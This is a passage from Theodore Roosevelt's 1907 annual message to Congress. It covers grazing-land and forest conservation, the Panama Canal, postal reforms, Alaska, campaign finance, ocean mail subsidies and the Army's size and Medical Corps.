Congress has not yet acted upon these\nrecommendations; but they are so just and proper, so essential to our\nNational welfare, that I feel confident, if the Congress will take time\nto consider them, that they will ultimately be adopted.Some such legislation as that proposed is essential in order to\npreserve the great stretches of public grazing land which are unfit for\ncultivation under present methods and are valuable only for the forage\nwhich they supply. These stretches amount in all to some 300,000,000\nacres, and are open to the free grazing of cattle, sheep, horses and\ngoats, without restriction. Such a system, or lack of system, means\nthat the range is not so much used as wasted by abuse. As the West\nsettles the range becomes more and more over-grazed. Much of it can not\nbe used to advantage unless it is fenced, for fencing is the only way\nby which to keep in check the owners of nomad flocks which roam hither\nand thither, utterly destroying the pastures and leaving a waste behind\nso that their presence is incompatible with the presence of\nhome-makers. The existing fences are all illegal. Some of them\nrepresent the improper exclusion of actual settlers, actual\nhome-makers, from territory which is usurped by great cattle companies.\nSome of them represent what is in itself a proper effort to use the\nrange for those upon the land, and to prevent its use by nomadic\noutsiders. All these fences, those that are hurtful and those that are\nbeneficial, are alike illegal and must come down. But it is an outrage\nthat the law should necessitate such action on the part of the\nAdministration. The unlawful fencing of public lands for private\ngrazing must be stopped, but the necessity which occasioned it must be\nprovided for. The Federal Government should have control of the range,\nwhether by permit or lease, as local necessities may determine. Such\ncontrol could secure the great benefit of legitimate fencing, while at\nthe same time securing and promoting the settlement of the country. In\nsome places it may be that the tracts of range adjacent to the\nhomesteads of actual settlers should be allotted to them severally or\nin common for the summer grazing of their stock. Elsewhere it may be\nthat a lease system would serve the purpose; the leases to be temporary\nand subject to the rights of settlement, and the amount charged being\nlarge enough merely to permit of the efficient and beneficial control\nof the range by the Government, and of the payment to the county of the\nequivalent of what it would otherwise receive in taxes. The destruction\nof the public range will continue until some such laws as these are\nenacted. Fully to prevent the fraud in the public lands which, through\nthe joint action of the Interior Department and the Department of\nJustice, we have been endeavoring to prevent, there must be further\nlegislation, and especially a sufficient appropriation to permit the\nDepartment of the Interior to examine certain classes of entries on the\nground before they pass into private ownership. The Government should\npart with its title only to the actual home-maker, not to the\nprofit-maker who does not care to make a home. Our prime object is to\nsecure the rights and guard the interests of the small ranchman, the\nman who plows and pitches hay for himself. It is this small ranchman,\nthis actual settler and homemaker, who in the long run is most hurt by\npermitting thefts of the public land in whatever form.Optimism is a good characteristic, but if carried to an excess it\nbecomes foolishness. We are prone to speak of the resources of this\ncountry as inexhaustible; this is not so. The mineral wealth of the\ncountry, the coal, iron, oil, gas, and the like, does not reproduce\nitself, and therefore is certain to be exhausted ultimately; and\nwastefulness in dealing with it to-day means that our descendants will\nfeel the exhaustion a generation or two before they otherwise would.\nBut there are certain other forms of waste which could be entirely\nstopped--the waste of soil by washing, for instance, which is among the\nmost dangerous of all wastes now in progress in the United States, is\neasily preventable, so that this present enormous loss of fertility is\nentirely unnecessary. The preservation or replacement of the forests is\none of the most important means of preventing this loss. We have made a\nbeginning in forest preservation, but it is only a beginning. At\npresent lumbering is the fourth greatest industry in the United States;\nand yet, so rapid has been the rate of exhaustion of timber in the\nUnited States in the past, and so rapidly is the remainder being\nexhausted, that the country is unquestionably on the verge of a timber\nfamine which will be felt in every household in the land. There has\nalready been a rise in the price of lumber, but there is certain to be\na more rapid and heavier rise in the future. The present annual\nconsumption of lumber is certainly three times as great as the annual\ngrowth; and if the consumption and growth continue unchanged,\npractically all our lumber will be exhausted in another generation,\nwhile long before the limit to complete exhaustion is reached the\ngrowing scarcity will make itself felt in many blighting ways upon our\nNational welfare. About 20 per cent of our forested territory is now\nreserved in National forests; but these do not include the most\nvaluable timber lauds, and in any event the proportion is too small to\nexpect that the reserves can accomplish more than a mitigation of the\ntrouble which is ahead for the nation. Far more drastic action is\nneeded. Forests can be lumbered so as to give to the public the full\nuse of their mercantile timber without the slightest detriment to the\nforest, any more than it is a detriment to a farm to furnish a harvest;\nso that there is no parallel between forests and mines, which can only\nbe completely used by exhaustion. But forests, if used as all our\nforests have been used in the past and as most of them are still used,\nwill be either wholly destroyed, or so damaged that many decades have\nto pass before effective use can be made of them again. All these facts\nare so obvious that it is extraordinary that it should be necessary to\nrepeat them. Every business man in the land, every writer in the\nnewspapers, every man or woman of an ordinary school education, ought\nto be able to see that immense quantities of timber are used in the\ncountry, that the forests which supply this timber are rapidly being\nexhausted, and that, if no change takes place, exhaustion will come\ncomparatively soon, and that the effects of it will be felt severely in\nthe every-day life of our people. Surely, when these facts are so\nobvious, there should be no delay in taking preventive measures. Yet we\nseem as a nation to be willing to proceed in this matter with\nhappy-go-lucky indifference even to the immediate future. It is this\nattitude which permits the self-interest of a very few persons to weigh\nfor more than the ultimate interest of all our people. There are\npersons who find it to their immense pecuniary benefit to destroy the\nforests by lumbering. They are to be blamed for thus sacrificing the\nfuture of the Nation as a whole to their own self-interest of the\nmoment; but heavier blame attaches to the people at large for\npermitting such action, whether in the White Mountains, in the southern\nAlleghenies, or in the Rockies and Sierras. A big lumbering company,\nimpatient for immediate returns and not caring to look far enough\nahead, will often deliberately destroy all the good timber in a region,\nhoping afterwards to move on to some new country. The shiftless man of\nsmall means, who does not care to become an actual home-maker but would\nlike immediate profit, will find it to his advantage to take up timber\nland simply to turn it over to such a big company, and leave it\nvalueless for future settlers. A big mine owner, anxious only to\ndevelop his mine at the moment, will care only to cut all the timber\nthat he wishes without regard to the future--probably net looking ahead\nto the condition of the country when the forests are exhausted, any\nmore than he does to the condition when the mine is worked out. I do\nnot blame these men nearly as much as I blame the supine public\nopinion, the indifferent public opinion, which permits their action to\ngo unchecked. Of course to check the waste of timber means that there\nmust be on the part of the public the acceptance of a temporary\nrestriction in the lavish use of the timber, in order to prevent the\ntotal loss of this use in the future. There are plenty of men in public\nand private life who actually advocate the continuance of the present\nsystem of unchecked and wasteful extravagance, using as an argument the\nfact that to check it will of course mean interference with the ease\nand comfort of certain people who now get lumber at less cost than they\nought to pay, at the expense of the future generations. Some of these\npersons actually demand that the present forest reserves be thrown open\nto destruction, because, forsooth, they think that thereby the price of\nlumber could be put down again for two or three or more years. Their\nattitude is precisely like that of an agitator protesting against the\noutlay of money by farmers on manure and in taking care of their farms\ngenerally. Undoubtedly, if the average farmer were content absolutely\nto ruin his farm, he could for two or three years avoid spending any\nmoney on it, and yet make a good deal of money out of it. But only a\nsavage would, in his private affairs, show such reckless disregard of\nthe future; yet it is precisely this reckless disregard of the future\nwhich the opponents of the forestry system are now endeavoring to get\nthe people of the United States to show. The only trouble with the\nmovement for the preservation of our forests is that it has not gone\nnearly far enough, and was not begun soon enough. It is a most\nfortunate thing, however, that we began it when we did. We should\nacquire in the Appalachian and White Mountain regions all the forest\nlands that it is possible to acquire for the use of the Nation. These\nlands, because they form a National asset, are as emphatically national\nas the rivers which they feed, and which flow through so many States\nbefore they reach the ocean.There should be no tariff on any forest product grown in this country;\nand, in especial, there should be no tariff on wood pulp; due notice of\nthe change being of course given to those engaged in the business so as\nto enable them to adjust themselves to the new conditions. The repeal\nof the duty on wood pulp should if possible be accompanied by an\nagreement with Canada that there shall be no export duty on Canadian\npulp wood.In the eastern United States the mineral fuels have already passed into\nthe hands of large private owners, and those of the West are rapidly\nfollowing. It is obvious that these fuels should be conserved and not\nwasted, and it would be well to protect the people against unjust and\nextortionate prices, so far as that can still be done. What has been\naccomplished in the great oil fields of the Indian Territory by the\naction of the Administration, offers a striking example of the good\nresults of such a policy. In my judgment the Government should have the\nright to keep the fee of the coal, oil, and gas fields in its own\npossession and to lease the rights to develop them under proper\nregulations; or else, if the Congress will not adopt this method, the\ncoal deposits should be sold under limitations, to conserve them as\npublic utilities, the right to mine coal being separated from the title\nto the soil. The regulations should permit coal lands to be worked in\nsufficient quantity by the several corporations. The present\nlimitations have been absurd, excessive, and serve no useful purpose,\nand often render it necessary that there should be either fraud or\nclose abandonment of the work of getting out the coal.Work on the Panama Canal is proceeding in a highly satisfactory manner.\nIn March last, John F. Stevens, chairman of the Commission and chief\nengineer, resigned, and the Commission was reorganized and constituted\nas follows: Lieut. Col. George W. Goethals, Corps. of Engineers, U. S.\nArmy, chairman and chief engineer; Maj. D. D. Gall-lard, Corps of\nEngineers, U. S. Army; Maj. William L. Sibert, Corps of Engineers, U.\nS. Army; Civil Engineer H. H. Rousseau, U. S. Navy; Mr. J. C. S.\nBlackburn; Col. W. C. Gorgas, U. S. Army, and Mr. Jackson Smith,\nCommissioners. This change of authority and direction went into effect\non April 1, without causing a perceptible check to the progress of the\nwork. In March the total excavation in the Culebra Cut, where effort\nwas chiefly concentrated, was 815,270 cubic yards. In April this was\nincreased to 879,527 cubic yards. There was a considerable decrease in\nthe output for May and June owing partly to the advent of the rainy\nseason and partly to temporary trouble with the steam shovel men over\nthe question of wages. This trouble was settled satisfactorily to all\nparties and in July the total excavation advanced materially and in\nAugust the grand total from all points in the canal prism by steam\nshovels and dredges exceeded all previous United States records,\nreaching 1,274,404 cubic yards. In September this record was eclipsed\nand a total of 1,517,412 cubic yards was removed. Of this amount\n1,481,307 cubic yards were from the canal prism and 36,105 cubic yards\nwere from accessory works. These results were achieved in the rainy\nseason with a rainfall in August of 11.89 inches and in September of\n11.65 inches. Finally, in October, the record was again eclipsed, the\ntotal excavation being 1,868,729 cubic yards; a truly extraordinary\nrecord, especially in view of the heavy rainfall, which was 17.1\ninches. In fact, experience during the last two rainy seasons\ndemonstrates that the rains are a less serious obstacle to progress\nthan has hitherto been supposed.Work on the locks and dams at Gatun, which began actively in March\nlast, has advanced so far that it is thought that masonry work on the\nlocks can be begun within fifteen months. In order to remove all doubt\nas to the satisfactory character of the foundations for the locks of\nthe Canal, the Secretary of War requested three eminent civil\nengineers, of special experience in such construction, Alfred Noble,\nFrederic P. Stearns and John R. Freeman, to visit the Isthmus and make\nthorough personal investigations of the sites. These gentlemen went to\nthe Isthmus in April and by means of test pits which had been dug for\nthe purpose, they inspected the proposed foundations, and also examined\nthe borings that had been made. In their report to the Secretary of\nWar, under date of May 2, 1907, they said: \"We found that all of the\nlocks, of the dimensions now proposed, will rest upon rock of such\ncharacter that it will furnish a safe and stable foundation.\"\nSubsequent new borings, conducted by the present Commission, have fully\nconfirmed this verdict. They show that the locks will rest on rock for\ntheir entire length. The cross section of the dam and method of\nconstruction will be such as to insure against any slip or sloughing\noff. Similar examination of the foundations of the locks and dams on\nthe Pacific side are in progress. I believe that the locks should be\nmade of a width of 120 feet.Last winter bids were requested and received for doing the work of\ncanal construction by contract. None of them was found to be\nsatisfactory and all were rejected. It is the unanimous opinion of the\npresent Commission that the work can be done better, more cheaply, and\nmore quickly by the Government than by private contractors. Fully 80\nper cent of the entire plant needed for construction has been purchased\nor contracted for; machine shops have been erected and equipped for\nmaking all needed repairs to the plant; many thousands of employees\nhave been secured; an effective organization has been perfected; a\nrecruiting system is in operation which is capable of furnishing more\nlabor than can be used advantageously; employees are well sheltered and\nwell fed; salaries paid are satisfactory, and the work is not only\ngoing forward smoothly, but it is producing results far in advance of\nthe most sanguine anticipations. Under these favorable conditions, a\nchange in the method of prosecuting the work would be unwise and\nunjustifiable, for it would inevitably disorganize existing conditions,\ncheck progress, and increase the cost and lengthen the time of\ncompleting the Canal.The chief engineer and all his professional associates are firmly\nconvinced that the 85 feet level lock canal which they are constructing\nis the best that could be desired. Some of them had doubts on this\npoint when they went to the Isthmus. As the plans have developed under\ntheir direction their doubts have been dispelled. While they may decide\nupon changes in detail as construction advances they are in hearty\naccord in approving the general plan. They believe that it provides a\ncanal not only adequate to all demands that will be made upon it but\nsuperior in every way to a sea level canal. I concur in this belief.I commend to the favorable consideration of the Congress a postal\nsavings bank system, as recommended by the Postmaster-General. The\nprimary object is to encourage among our people economy and thrift and\nby the use of postal savings banks to give them an opportunity to\nhusband their resources, particularly those who have not the facilities\nat hand for depositing their money in savings banks. Viewed, however,\nfrom the experience of the past few weeks, it is evident that the\nadvantages of such an institution are till more far-reaching. Timid\ndepositors have withdrawn their savings for the time being from\nnational banks, trust companies, and savings banks; individuals have\nhoarded their cash and the workingmen their earnings; all of which\nmoney has been withheld and kept in hiding or in safe deposit box to\nthe detriment of prosperity. Through the agency of the postal savings\nbanks such money would be restored to the channels of trade, to the\nmutual benefit of capital and labor.I further commend to the Congress the consideration of the\nPostmaster-General's recommendation for an extension of the parcel\npost, especially on the rural routes. There are now 38,215 rural\nroutes, serving nearly 15,000,000 people who do not have the advantages\nof the inhabitants of cities in obtaining their supplies. These\nrecommendations have been drawn up to benefit the farmer and the\ncountry storekeeper; otherwise, I should not favor them, for I believe\nthat it is good policy for our Government to do everything possible to\naid the small town and the country district. It is desirable that the\ncountry merchant should not be crushed out.The fourth-class postmasters' convention has passed a very strong\nresolution in favor of placing the fourth-class postmasters under the\ncivil-service law. The Administration has already put into effect the\npolicy of refusing to remove any fourth-class postmasters save for\nreasons connected with the good of the service; and it is endeavoring\nso far as possible to remove them from the domain of partisan politics.\nIt would be a most desirable thing to put the fourth-class postmasters\nin the classified service. It is possible that this might be done\nwithout Congressional action, but, as the matter is debatable, I\nearnestly recommend that the Congress enact a law providing that they\nbe included under the civil-service law and put in the classified\nservice.Oklahoma has become a State, standing on a full equality with her elder\nsisters, and her future is assured by her great natural resources. The\nduty of the National Government to guard the personal and property\nrights of the Indians within her borders remains of course unchanged.I reiterate my recommendations of last year as regards Alaska. Some\nform of local self-government should be provided, as simple and\ninexpensive as possible; it is impossible for the Congress to devote\nthe necessary time to all the little details of necessary Alaskan\nlegislation. Road building and railway building should be encouraged.\nThe Governor of Alaska should be given an ample appropriation wherewith\nto organize a force to preserve the public peace. Whisky selling to the\nnatives should be made a felony. The coal land laws should be changed\nso as to meet the peculiar needs of the Territory. This should be\nattended to at once; for the present laws permit individuals to locate\nlarge areas of the public domain for speculative purposes; and cause an\nimmense amount of trouble, fraud, and litigation. There should be\nanother judicial division established. As early as possible lighthouses\nand buoys should be established as aids to navigation, especially in\nand about Prince William Sound, and the survey of the coast completed.\nThere is need of liberal appropriations for lighting and buoying the\nsouthern coast and improving the aids to navigation in southeastern\nAlaska. One of the great industries of Alaska, as of Puget Sound and\nthe Columbia, is salmon fishing. Gradually, by reason of lack of proper\nlaws, this industry is being ruined; it should now be taken in charge,\nand effectively protected, by the United States Government.The courage and enterprise of the citizens of the far north-west in\ntheir projected Alaskan-Yukon-Pacific Exposition, to be held in 1909,\nshould receive liberal encouragement. This exposition is not\nsentimental in its conception, but seeks to exploit the natural\nresources of Alaska and to promote the commerce, trade, and industry of\nthe Pacific States with their neighboring States and with our insular\npossessions and the neighboring countries of the Pacific. The\nexposition asks no loan from the Congress but seeks appropriations for\nNational exhibits and exhibits of the western dependencies of the\nGeneral Government. The State of Washington and the city of Seattle\nhave shown the characteristic western enterprise in large donations for\nthe conduct of this exposition in which other States are lending\ngenerous assistance.The unfortunate failure of the shipping bill at the last session of the\nlast Congress was followed by the taking off of certain Pacific\nsteamships, which has greatly hampered the movement of passengers\nbetween Hawaii and the mainland. Unless the Congress is prepared by\npositive encouragement to secure proper facilities in the way of\nshipping between Hawaii and the mainland, then the coastwise shipping\nlaws should be so far relaxed as to prevent Hawaii suffering as it is\nnow suffering. I again call your attention to the capital importance\nfrom every standpoint of making Pearl Harbor available for the largest\ndeep water vessels, and of suitably fortifying the island.The Secretary of War has gone to the Philippines. On his return I shall\nsubmit to you his report on the islands.I again recommend that the rights of citizenship be conferred upon the\npeople of Porto Rico.A bureau of mines should be created under the control and direction of\nthe Secretary of the Interior; the bureau to have power to collect\nstatistics and make investigations in all matters pertaining to mining\nand particularly to the accidents and dangers of the industry. If this\ncan not now be done, at least additional appropriations should be given\nthe Interior Department to be used for the study of mining conditions,\nfor the prevention of fraudulent mining schemes, for carrying on the\nwork of mapping the mining districts, for studying methods for\nminimizing the accidents and dangers in the industry; in short, to aid\nin all proper ways the development of the mining industry.I strongly recommend to the Congress to provide funds for keeping up\nthe Hermitage, the home of Andrew Jackson; these funds to be used\nthrough the existing Hermitage Association for the preservation of a\nhistoric building which should ever be dear to Americans.I further recommend that a naval monument be established in the\nVicksburg National Park. This national park gives a unique opportunity\nfor commemorating the deeds of those gallant men who fought on water,\nno less than of those who fought on land, in the great civil War.Legislation should be enacted at the present session of the Congress\nfor the Thirteenth Census. The establishment of the permanent Census\nBureau affords the opportunity for a better census than we have ever\nhad, but in order to realize the full advantage of the permanent\norganization, ample time must be given for preparation.There is a constantly growing interest in this country in the question\nof the public health. At last the public mind is awake to the fact that\nmany diseases, notably tuberculosis, are National scourges. The work of\nthe State and city boards of health should be supplemented by a\nconstantly increasing interest on the part of the National Government.\nThe Congress has already provided a bureau of public health and has\nprovided for a hygienic laboratory. There are other valuable laws\nrelating to the public health connected with the various departments.\nThis whole branch of the Government should be strengthened and aided in\nevery way.I call attention to two Government commissions which I have appointed\nand which have already done excellent work. The first of these has to\ndo with the organization of the scientific work of the Government,\nwhich has grown up wholly without plan and is in consequence so\nunwisely distributed among the Executive Departments that much of its\neffect is lost for the lack of proper coordination. This commission's\nchief object is to introduce a planned and orderly development and\noperation in the place of the ill-assorted and often ineffective\ngrouping and methods of work which have prevailed. This can not be done\nwithout legislation, nor would it be feasible to deal in detail with so\ncomplex an administrative problem by specific provisions of law. I\nrecommend that the President be given authority to concentrate related\nlines of work and reduce duplication by Executive order through\ntransfer and consolidation of lines of work.The second committee, that on Department methods, was instructed to\ninvestigate and report upon the changes needed to place the conduct of\nthe executive force of the Government on the most economical and\neffective basis in the light of the best modern business practice. The\ncommittee has made very satisfactory progress. Antiquated practices and\nbureaucratic ways have been abolished, and a general renovation of\ndepartmental methods has been inaugurated. All that can be done by\nExecutive order has already been accomplished or will be put into\neffect in the near future. The work of the main committee and its\nseveral assistant committees has produced a wholesome awakening on the\npart of the great body of officers and employees engaged in Government\nwork. In nearly every Department and office there has been a careful\nself-inspection for the purpose of remedying any defects before they\ncould be made the subject of adverse criticism. This has led\nindividuals to a wider study of the work on which they were engaged,\nand this study has resulted in increasing their efficiency in their\nrespective lines of work. There are recommendations of special\nimportance from the committee on the subject of personnel and the\nclassification of salaries which will require legislative action before\nthey can be put into effect. It is my intention to submit to the\nCongress in the near future a special message on those subjects.Under our form of government voting is not merely a right but a duty,\nand, moreover, a fundamental and necessary duty if a man is to be a\ngood citizen. It is well to provide that corporations shall not\ncontribute to Presidential or National campaigns, and furthermore to\nprovide for the publication of both contributions and expenditures.\nThere is, however, always danger in laws of this kind, which from their\nvery nature are difficult of enforcement; the danger being lest they be\nobeyed only by the honest, and disobeyed by the unscrupulous, so as to\nact only as a penalty upon honest men. Moreover, no such law would\nhamper an unscrupulous man of unlimited means from buying his own way\ninto office. There is a very radical measure which would, I believe,\nwork a substantial improvement in our system of conducting a campaign,\nalthough I am well aware that it will take some time for people so to\nfamiliarize themselves with such a proposal as to be willing to\nconsider its adoption. The need for collecting large campaign funds\nwould vanish if Congress provided an appropriation for the proper and\nlegitimate expenses of each of the great national parties, an\nappropriation ample enough to meet the necessity for thorough\norganization and machinery, which requires a large expenditure of\nmoney. Then the stipulation should be made that no party receiving\ncampaign funds from the Treasury should accept more than a fixed amount\nfrom any individual subscriber or donor; and the necessary publicity\nfor receipts and expenditures could without difficulty be provided.There should be a National gallery of art established in the capital\ncity of this country. This is important not merely to the artistic but\nto the material welfare of the country; and the people are to be\ncongratulated on the fact that the movement to establish such a gallery\nis taking definite form under the guidance of the Smithsonian\nInstitution. So far from there being a tariff on works of art brought\ninto the country, their importation should be encouraged in every way.\nThere have been no sufficient collections of objects of art by the\nGovernment, and what collections have been acquired are scattered and\nare generally placed in unsuitable and imperfectly lighted galleries.The Biological Survey is quietly working for the good of our\nagricultural interests, and is an excellent example of a Government\nbureau which conducts original scientific research the findings of\nwhich are of much practical utility. For more than twenty years it has\nstudied the food habits of birds and mammals that are injurious or\nbeneficial to agriculture, horticulture, and forestry; has distributed\nillustrated bulletins on the subject, and has labored to secure\nlegislative protection for the beneficial species. The cotton\nboll-weevil, which has recently overspread the cotton belt of Texas and\nis steadily extending its range, is said to cause an annual loss of\nabout $3,000,000. The Biological Survey has ascertained and gives wide\npublicity to the fact that at least 43 kinds of birds prey upon this\ndestructive insect. It has discovered that 57 species of birds feed\nupon scale-insects--dreaded enemies of the fruit grower. It has shown\nthat woodpeckers as a class, by destroying the larvae of wood-boring\ninsects, are so essential to tree life that it is doubtful if our\nforests could exist without them. It has shown that cuckoos and orioles\nare the natural enemies of the leaf-eating caterpillars that destroy\nour shade and fruit trees; that our quails and sparrows consume\nannually hundreds of tons of seeds of noxious weeds; that hawks and\nowls as a class (excepting the few that kill poultry and game birds)\nare markedly beneficial, spending their lives in catching grasshoppers,\nmice, and other pests that prey upon the products of husbandry. It has\nconducted field experiments for the purpose of devising and perfecting\nsimple methods for holding in check the hordes of destructive\nrodents--rats, mice, rabbits, gophers, prairie dogs, and ground\nsquirrels--which annually destroy crops worth many millions of dollars;\nand it has published practical directions for the destruction of wolves\nand coyotes on the stock ranges of the West, resulting during the past\nyear in an estimated saving of cattle and sheep valued at upwards of a\nmillion dollars.It has inaugurated a system of inspection at the principal ports of\nentry on both Atlantic and Pacific coasts by means of which the\nintroduction of noxious mammals and birds is prevented, thus keeping\nout the mongoose and certain birds which are as much to be dreaded as\nthe previously introduced English sparrow and the house rats and mice.In the interest of game protection it has cooperated with local\nofficials in every State in the Union, has striven to promote uniform\nlegislation in the several States, has rendered important service in\nenforcing the Federal law regulating interstate traffic in game, and\nhas shown how game protection may be made to yield a large revenue to\nthe State--a revenue amounting in the case of Illinois to $128,000 in a\nsingle year.The Biological Survey has explored the faunas and floras of America\nwith reference to the distribution of animals and plants; it has\ndefined and mapped the natural life areas--areas in which, by reason of\nprevailing climatic conditions, certain kinds of animals and plants\noccur--and has pointed out the adaptability of these areas to the\ncultivation of particular crops. The results of these investigations\nare not only of high educational value but are worth each year to the\nprogressive farmers of the country many times the cost of maintaining\nthe Survey, which, it may be added, is exceedingly small. I recommend\nto Congress that this bureau, whose usefulness is seriously handicapped\nby lack of funds, be granted an appropriation in some degree\ncommensurate with the importance of the work it is doing.I call your especial attention to the unsatisfactory condition of our\nforeign mail service, which, because of the lack of American steamship\nlines is now largely done through foreign lines, and which,\nparticularly so far as South and Central America are concerned, is done\nin a manner which constitutes a serious barrier to the extension of our\ncommerce.The time has come, in my judgment, to set to work seriously to make our\nocean mail service correspond more closely with our recent commercial\nand political development. A beginning was made by the ocean mail act\nof March 3, 1891, but even at that time the act was known to be\ninadequate in various particulars. Since that time events have moved\nrapidly in our history. We have acquired Hawaii, the Philippines, and\nlesser islands in the Pacific. We are steadily prosecuting the great\nwork of uniting at the Isthmus the waters of the Atlantic and the\nPacific. To a greater extent than seemed probable even a dozen years\nago, we may look to an American future on the sea worthy of the\ntraditions of our past. As the first step in that direction, and the\nstep most feasible at the present time, I recommend the extension of\nthe ocean mail act of 1891. This act has stood for some years free from\nsuccessful criticism of its principle and purpose. It was based on\ntheories of the obligations of a great maritime nation, undisputed in\nour own land and followed by other nations since the beginning of steam\nnavigation. Briefly those theories are, that it is the duty of a\nfirst-class Power so far as practicable to carry its ocean mails under\nits own flag; that the fast ocean steamships and their crews, required\nfor such mail service, are valuable auxiliaries to the sea power of a\nnation. Furthermore, the construction of such steamships insures the\nmaintenance in an efficient condition of the shipyards in which our\nbattleships must be built.The expenditure of public money for the Performance of such necessary\nfunctions of government is certainly warranted, nor is it necessary to\ndwell upon the incidental benefits to our foreign commerce, to the\nshipbuilding industry, and to ship owning and navigation which will\naccompany the discharge of these urgent public duties, though they,\ntoo, should have weight.The only serious question is whether at this time we can afford to\nimprove our ocean mail service as it should be improved. All doubt on\nthis subject is removed by the reports of the Post-Office Department.\nFor the fiscal year ended June 30, 1907, that Department estimates that\nthe postage collected on the articles exchanged with foreign countries\nother than Canada and Mexico amounted to $6,579,043.48, or\n$3,637,226.81 more than the net cost of the service exclusive of the\ncost of transporting the articles between the United States exchange\npost-offices and the United States post-offices at which they were\nmailed or delivered. In other words, the Government of the United\nStates, having assumed a monopoly of carrying the mails for the people,\nmaking a profit of over $3,600,000 by rendering a cheap and inefficient\nservice. That profit I believe should be devoted to strengthening\nmaritime power in those directions where it will best promote our\nprestige. The country is familiar with the facts of our maritime\nimpotence in the harbors of the great and friendly Republics of South\nAmerica. Following the failure of the shipbuilding bill we lost our\nonly American line of steamers to Australasia, and that loss on the\nPacific has become a serious embarrassment to the people of Hawaii, and\nhas wholly cut off the Samoan islands from regular communication with\nthe Pacific coast. Puget Sound, in the year, has lost over half (four\nout of seven) of its American steamers trading with the Orient.We now pay under the act of 1891 $4 a statute mile outward to 20-knot\nAmerican mail steamships, built according to naval plans, available as\ncruisers, and manned by Americans. Steamships of that speed are\nconfined exclusively to trans-Atlantic trade with New York. To\nsteamships of 16 knots or over only $2 a mile can be paid, and it is\nsteamships of this speed and type which are needed to meet the\nrequirements of mail service to South America, Asia (including the\nPhilippines), and Australia. I strongly recommend, therefore, a simple\namendment to the ocean mail act of 1891 which shall authorize the\nPostmaster-General in his discretion to enter into contracts for the\ntransportation of mails to the Republics of South America, to Asia, the\nPhilippines, and Australia at a rate not to exceed $4 a mile for\nsteamships of 16 knots speed or upwards, subject to the restrictions\nand obligations of the act of 1891. The profit of $3,600,000 which has\nbeen mentioned will fully cover the maximum annual expenditure involved\nin this recommendation, and it is believed will in time establish the\nlines so urgently needed. The proposition involves no new principle,\nbut permits the efficient discharge of public functions now\ninadequately performed or not performed at all.Not only there is not now, but there never has been, any other nation\nin the world so wholly free from the evils of militarism as is ours.\nThere never has been any other large nation, not even China, which for\nso long a period has had relatively to its numbers so small a regular\narmy as has ours. Never at any time in our history has this Nation\nsuffered from militarism or been in the remotest danger of suffering\nfrom militarism. Never at any time of our history has the Regular Army\nbeen of a size which caused the slightest appreciable tax upon the\ntax-paying citizens of the Nation. Almost always it has been too small\nin size and underpaid. Never in our entire history has the Nation\nsuffered in the least particular because too much care has been given\nto the Army, too much prominence given it, too much money spent upon\nit, or because it has been too large. But again and again we have\nsuffered because enough care has not been given to it, because it has\nbeen too small, because there has not been sufficient preparation in\nadvance for possible war. Every foreign war in which we have engaged\nhas cost us many times the amount which, if wisely expended during the\npreceding years of peace on the Regular Army, would have insured the\nwar ending in but a fraction of the time and but for a fraction of the\ncost that was actually the case. As a Nation we have always been\nshortsighted in providing for the efficiency of the Army in time of\npeace. It is nobody's especial interest to make such provision and no\none looks ahead to war at any period, no matter how remote, as being a\nserious possibility; while an improper economy, or rather\nniggardliness, can be practiced at the expense of the Army with the\ncertainty that those practicing it will not be called to account\ntherefor, but that the price will be paid by the unfortunate persons\nwho happen to be in office when a war does actually come.I think it is only lack of foresight that troubles us, not any\nhostility to the Army. There are, of course, foolish people who\ndenounce any care of the Army or Navy as \"militarism,\" but I do not\nthink that these people are numerous. This country has to contend now,\nand has had to contend in the past, with many evils, and there is ample\nscope for all who would work for reform. But there is not one evil that\nnow exists, or that ever has existed in this country, which is, or ever\nhas been, owing in the smallest part to militarism. Declamation against\nmilitarism has no more serious place in an earnest and intelligent\nmovement for righteousness in this country than declamation against the\nworship of Baal or Astaroth. It is declamation against a non-existent\nevil, one which never has existed in this country, and which has not\nthe slightest chance of appearing here. We are glad to help in any\nmovement for international peace, but this is because we sincerely\nbelieve that it is our duty to help all such movements provided they\nare sane and rational, and not because there is any tendency toward\nmilitarism on our part which needs to be cured. The evils we have to\nfight are those in connection with industrialism, not militarism.\nIndustry is always necessary, just as war is sometimes necessary. Each\nhas its price, and industry in the United States now exacts, and has\nalways exacted, a far heavier toll of death than all our wars put\ntogether. The statistics of the railroads of this country for the year\nended June 30, 1906, the last contained in the annual statistical\nreport of the Interstate Commerce Commission, show in that one year a\ntotal of 108,324 casualties to persons, of which 10,618 represent the\nnumber of persons killed. In that wonderful hive of human activity,\nPittsburg, the deaths due to industrial accidents in 1906 were 919, all\nthe result of accidents in mills, mines or on railroads. For the entire\ncountry, therefore, it is safe to say that the deaths due to industrial\naccidents aggregate in the neighborhood of twenty thousand a year. Such\na record makes the death rate in all our foreign wars utterly trivial\nby comparison. The number of deaths in battle in all the foreign wars\nput together, for the last century and a quarter, aggregate\nconsiderably less than one year's death record for our industries. A\nmere glance at these figures is sufficient to show the absurdity of the\noutcry against militarism.But again and again in the past our little Regular Army has rendered\nservice literally vital to the country, and it may at any time have to\ndo so in the future. Its standard of efficiency and instruction is\nhigher now than ever in the past. But it is too small. There are not\nenough officers; and it is impossible to secure enough enlisted men. We\nshould maintain in peace a fairly complete skeleton of a large army. A\ngreat and long-continued war would have to be fought by volunteers. But\nmonths would pass before any large body of efficient volunteers could\nbe put in the field, and our Regular Army should be large enough to\nmeet any immediate need. In particular it is essential that we should\npossess a number of extra officers trained in peace to perform\nefficiently the duties urgently required upon the breaking out of war.The Medical Corps should be much larger than the needs of our Regular\nArmy in war. Yet at present it is smaller than the needs of the service\ndemand even in peace. The Spanish war occurred less than ten years ago.\nThe chief loss we suffered in it was by disease among the regiments\nwhich never left the country. At the moment the Nation seemed deeply\nimpressed by this fact; yet seemingly it has already been forgotten,\nfor not the slightest effort has been made to prepare a medical corps\nof sufficient size to prevent the repetition of the same disaster on a\nmuch larger scale if we should ever be engaged in a serious conflict.\nThe trouble in the Spanish war was not with the then existing officials\nof the War Department; it was with the representatives of the people as\na whole who, for the preceding thirty years, had declined to make the\nnecessary provision for the Army. Unless ample provision is now made by\nCongress to put the Medical Corps where it should be put disaster in\nthe next war is inevitable, and the responsibility will not lie with\nthose then in charge of the War Department, but with those who now\ndecline to make the necessary provision. A well organized medical\ncorps, thoroughly trained before the advent of war in all the important\nadministrative duties of a military sanitary corps, is essential to the\nefficiency of any large army, and especially of a large volunteer army.\nSuch knowledge of medicine and surgery as is possessed by the medical\nprofession generally will not alone suffice to make an efficient\nmilitary surgeon. He must have, in addition, knowledge of the\nadministration and sanitation of large field hospitals and camps, in\norder to safeguard the health and lives 